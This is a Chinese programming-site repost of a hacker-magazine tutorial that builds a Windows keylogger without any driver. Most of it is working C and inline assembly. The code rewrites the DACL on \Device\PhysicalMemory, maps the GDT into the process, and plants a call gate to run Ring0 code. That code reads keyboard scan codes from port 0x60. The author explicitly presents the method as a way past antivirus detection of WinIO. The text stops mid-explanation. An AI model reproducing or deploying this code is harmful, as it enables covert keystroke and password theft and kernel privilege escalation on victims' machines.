当前位置:编程学习 > 网站相关 >>

编写调用门键盘记录程序

作者:llikz
黑客防线2007年第7期上有一篇《直接访问键盘控制芯片获取键盘记录》,详细分析了如何通过0x60和0x64端口访问键盘控制器以及如何通过访问键盘控制器获取键盘记录。文章中给出的演示程序有个很大的缺点,就是需要WinDriver驱动程序。除了可以使用WinDriver驱动实现对Windows 2000/XP系统I/O端口的直接访问外,我们还可以使用其他一些第三方的库,如WinIO,但这种做法有很大的缺点,一是WinIO控件已经被许多杀毒软件盯上,列为病毒;二是使用这些库无疑增大了程序的体积。这里我介绍一种较好的Ring3下不通过驱动程序或者第三方库直接访问I/O端口的方法,并且用这种方法改写键盘记录程序。本文中使用的方法是Ring3下通过读写物理地址增加调用门执行Ring0代码,在Ring0代码中嵌入汇编指令直接读写I/O端口。
        Windows NT/2000为实现其可靠性,严格将系统划分为内核模式与用户模式,在i386系统中分别对应CPU的Ring0与Ring3级别。Ring0下,可以执行特权级指令,对任何I/O设备都有访问权等等。要实现从用户态进入核心态,即从Ring 3进入Ring 0必须借助CPU的某种门机制,如中断门、调用门等。Windows NT/2000系统下通过调用门实现特权级别转移的方法如下。
1)以写权限打开物理内存对象;
2)取得系统GDT地址,并转换成物理地址;
3)将物理地址映射到当前进程空间;
4)构造一个调用门;
5)寻找GDT中空闲的位置,将CallGate植入;
6)Call植入的调用门。
具体实现方法如下。

//GDTR结构
typedef struct gdtr {
unsigned short Limit;  //16位长度
unsigned short BaseLow;//32位线性地址低16位
unsigned short BaseHigh; //32位线性地址高16位
} Gdtr_t, *PGdtr_t;

//调用门描述符
typedef struct
{
unsigned short  offset_0_15;//段中偏移值低16位
unsigned short  selector;  //段选择符
unsigned charparam_count : 4;//参数个数
unsigned charsome_bits : 4;
unsigned chartype: 4;//类型
unsigned charapp_system  : 1;
unsigned chardpl : 2;
unsigned charpresent : 1;
unsigned short  offset_16_31;//段中偏移值高16位
} CALLGATE_DESCRIPTOR;

typedef struct
{
ULONG BaseAddr;
unsigned short Limit;
} INFO;

//打印错误信息
void PrintWin32Error( DWORD ErrorCode )
{
LPVOID lpMsgBuf;
FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL, ErrorCode,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),(LPTSTR) &lpMsgBuf, 0, NULL );
printf("%s ", lpMsgBuf );
LocalFree( lpMsgBuf );
}

//虚拟地址转化为物理地址,线性地址在0x80000000与0xa0000000范围内,只是简单的进行移位操作。GDT表在Windows NT/2000中一般情况下均位于这个区域
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
return 0;
return virtualaddress&0x1FFFF000;
}

//设置物理段可读
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{//HSection为DevicePhysicalMemory句柄
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
//找到它的安全描述符
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
printf( "GetSecurityInfo Error %u ", dwRes );
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";

//在当前ACL中添加Read/Write授权
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
printf( "SetEntriesInAcl %u ", dwRes );
goto CleanUp;
}
//更新安全描述符
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
printf("SetSecurityInfo %u ",dwRes);
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pSD);
}

HANDLE hSection=NULL;
GetBaseInfo(INFO *pInfo)
{
Gdtr_t gdt;
__asm sgdt gdt;
//转化虚拟内存地址为物理地址
ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
if(!mapAddr) return 0;

NTSTATUS status;
OBJECT_ATTRIBUTESobjectAttributes;
UNICODE_STRING objName;

RtlInitUnicodeString(&objName,L"\Device\PhysicalMemory");
InitializeObjectAttributes(&objectAttributes,&objName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,(PSECURITY_DESCRIPTOR) NULL);
//打开对象句柄
status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
ZwClose(hSection);
status=ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
if(status != STATUS_SUCCESS)
{
printf("Error Open PhysicalMemory Section Object,Status:%08X ",status);
return 0;
}

PVOID BaseAddress;
//映射section到当前进程空间
BaseAddress=MapViewOfFile(hSection,FILE_MAP_READ|FILE_MAP_WRITE,0,mapAddr,(gdt.Limit+1));
if(!BaseAddress)
{
printf("Error MapViewOfFile:");
PrintWin32Error(GetLastError());
return 0;
}
pInfo->BaseAddr=(ULONG)BaseAddress;
pInfo->Limit=gdt.Limit;
}
INFO info;
//定义需要打印的按键名称
char cKeyPress[][6]={"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z

","0","1","2","3","4","5","6","7","8","9","`","-","=","\","BKSP","SPACE","TAB","CAPS","ENTER","ESC","[","]",";","",",",".","/","?"};
//定义按键被按下是产生的扫描码
unsigned char cKeyDown[255]={0x1E,0x30,0x2E,0x20,0x12,0x21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1F,0x14,

0x16,0x2F,0x11,0x2D,0x15,0x2C,0x0B,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x29,0x0c,0x0d,0x2b,

0x0e,0x39,0x0f,0x3a,0x1c,0x01,0x1a,0x1b,0x27,0x28,0x33,0x34,0x35,0};
//安装调用门进入ring0
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
CALLGATE_DESCRIPTOR *cg;

//添加调用门
for( cg=(CALLGATE_DESCRIPTOR *)((ULONG)info.BaseAddr+(info.Limit&0xFFF8));
(ULONG)cg>(ULONG)info.BaseAddr; cg-- )
{
//寻找到空闲空间
if(cg->type == 0){
cg->offset_0_15 = LOWORD(Entry);//取调用门函数低16位
cg->selector = 8;   //设置内核段选择子
cg->param_count = 0; //参数个数
cg->some_bits = 0;//系统保留
cg->type = 0xC;  //386调用门
cg->app_system = 0; //系统保留
cg->dpl = 3; //描述符权限,设置为允许RING3进程调用
cg->present = 1;  //存在位设置为1表示有效
cg->offset_16_31 = HIWORD(Entry);//取调用门函数低16位
break;
}
}

short farcall[3];
farcall[2]=((short)((ULONG)cg-(ULONG)info.BaseAddr))|3;
//锁定内存,该内存页不能交换到页文件
if(!VirtualLock((PVOID)Entry,seglen))
{
printf("Error VirtualLock:");
PrintWin32Error(GetLastError());
return 0;
}
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);
Sleep(1);
//呼叫调用门实现特权级转移
_asm call fword ptr [farcall]
SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
VirtualUnlock((PVOID)Entry,seglen);

//清除调用门
*(ULONG *)cg=0;
*((ULONG *)cg+1)=0;
return TRUE;
}

struct _RING0DATA
{
unsigned char cKey;
}keyData;
//读取0x60端口获取键盘扫描码
void __declspec (naked) GetKey()
{
_asm{
pushad;
pushf;
cli;
in al,60h;
mov keyData.cKey,al;
popf;
popad;
retf;
}
}

以上定义的函数中,GetKey()函数为Ring0级别需要执行的代码,需要使用汇编语言来实现。本程序中重要操作是通过汇编语言实现对I/O端口的访问的。
VC中行内汇编的语法如下。

__asm{
汇编语句1
……
}

汇编语言中端口访问指令为in指令和out指令。
IN AX/AL,I/O端口地址:表示从外部设备输入数据给累加器

补充:综合编程 , 其他综合 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,